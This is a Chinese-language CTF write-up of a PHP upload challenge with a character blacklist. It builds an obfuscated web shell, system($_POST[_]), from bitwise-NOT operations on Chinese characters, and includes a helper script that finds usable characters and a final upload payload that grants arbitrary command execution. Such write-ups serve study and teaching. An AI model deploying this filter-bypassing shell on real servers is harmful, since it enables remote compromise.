查看源代码发现源码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ 保存上传文件在临时文件目录
$data=substr($contents,5); 切片从第五个字符开始之后的所有字符
foreach ($black_char as $b) { 看看有没有黑名单有就不给过
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
随便上传了个文件发现后缀被转为php也就是说会被解析成php文件
那么我们要构造一个shell
内容为
assert($_POST[_]);
这个也是盲猜的因为局限性很大必须是php7.2之前的版本才可以,那么还是搞个system来用吧
system($_POST[_]);
这道题原理不难就是fuzz比较难做
先利用ascii原理生成字典
python
for i in range(32,127):
print(chr(i))
php
system($_POST[_]);
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST
$___($$____[_]);//system($_POST[_]);
php
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
php
assert($_POST[_]);
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);
诶那么这里思路就很明确了
基本是和自增差不多的只不多我们这里使用取反来做
$ ( ) . ; = [ ] _ ~
没有东西怎么构造字符串,那么汉字也是在可控范围内的,这是一个特性
php
<?php
$str = "在这场绿色转型的浪潮中,生态智慧成为了关键词。未来的城市不再仅仅是钢筋水泥的丛林,而是自然与技术完美融合的生态乐园。绿色建筑,利用太阳能板、雨水收集系统与垂直花园,不仅减少了对自然资源的依赖,还提升了居民的生活质量。智能电网通过高效分配可再生能源,确保了电力供应的清洁与稳定,而无人驾驶公共交通系统则大幅降低了碳排放,重新定义了都市出行的方式。
循环经济的概念深入城市规划的核心,废弃物不再是负担,而是资源循环的宝贵原料。城市垃圾通过高科技分类与处理,转化为能源或新型材料,实现了真正的"变废为宝"。同时,城市农业的兴起,让高楼大厦的屋顶和空闲空间变身成为都市绿洲,为市民提供了新鲜、无公害的食材,缩短了食物供应链,促进了社区的自给自足能力。
然而,这一切变革并非一蹴而就,它需要政策制定者的远见卓识、科学家的不懈探索、企业家的创新实践以及每一位公民的积极参与。公众教育与意识提升成为推动绿色转型不可或缺的力量,通过学校教育、媒体宣传和社会活动,增强大众对于环境保护的责任感与行动力。
面对气候变化的严峻挑战,未来的城市还将进一步探索气候适应性设计,比如建设能够抵御极端天气事件的基础设施,以及发展蓝色基础设施,保护和恢复城市水系,以应对海平面上升和城市内涝问题。
总而言之,未来城市的绿色转型是一场全方位、多层次的社会运动,它要求我们在尊重自然法则的同时,发挥人类的创造力与合作精神。这不仅是对现有生活方式的一次深刻反思,更是对未来世代的一份责任与承诺。在这个过程中,每一座城市、每一个社区乃至每一个个体的选择与努力,都将汇聚成推动地球走向更加绿色、健康、繁荣未来的强大力量。";
$num = strlen($str);
$worl = ~mb_substr($str,0,1,'utf-8');
for($i=0; $i<$num;$i++){
$worl = mb_substr($str,$i,1,'utf-8');
$ans = ~$worl;
if($ans[1]=='s' || $ans[1]=='y'|| $ans[1]=='e' || $ans[1]=='m' || $ans[1]=='t' || $ans[1]=='P' ||$ans[1]=='O' ||$ans[1]=='S' ||$ans[1]=='T' ||$ans[1]=='_'){
echo $ans[1];
echo $worl;
echo "<br>";
}
}
?>
e的<br>P词<br>e的<br>y再<br>m钢<br>O水<br>e的<br>e的<br>O水<br>O少<br>P对<br>e的<br>O民<br>e的<br>T高<br>y再<br>e的<br>e的<br>e的<br>e的<br>_核<br>y再<br>t担<br>e的<br>T高<br>s化<br>e的<br>y农<br>e的<br>T高<br>e的<br>m和<br>O民<br>e的<br>s区<br>e的<br>O就<br>e的<br>P识<br>e的<br>e的<br>P每<br>O民<br>e的<br>P识<br>e的<br>_校<br>m和<br>P对<br>e的<br>P对<br>O气<br>s化<br>e的<br>s挑<br>e的<br>O将<br>O气<br>P比<br>T端<br>O气<br>e的<br>m和<br>O水<br>P对<br>m和<br>y内<br>e的<br>S次<br>e的<br>O尊<br>e的<br>s挥<br>e的<br>P对<br>e的<br>S次<br>P对<br>e的<br>P诺<br>P每<br>P每<br>s区<br>P每<br>e的<br>t择<br>O将<br>e的<br>
上面两个payload是别的师傅构造的这个是我自己构造的
php
<?php
$_ = [];
//echo $_;
$__ = $_ . $_;
//echo $__;
$_ = ($_ == $__); //false 0 没啥用可以不写
$__ = ($_ == $_); //true 1 全部都用的这个
// var_dump($_);
// var_dump($__);
$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];
//var_dump($___);
$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__];
var_dump($____);
//$___($$____[_]);
?>
构造$_POST
的时候不能直接写我就是贪了然后浪费了一些时间
诶他把<>?
过滤了怎么办呢,没关系,我们只要有php头即可正常解析
最后把格式调整一下上传的是这个
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__];$___($$____[_]);
那么这道题就可以任意命令执行了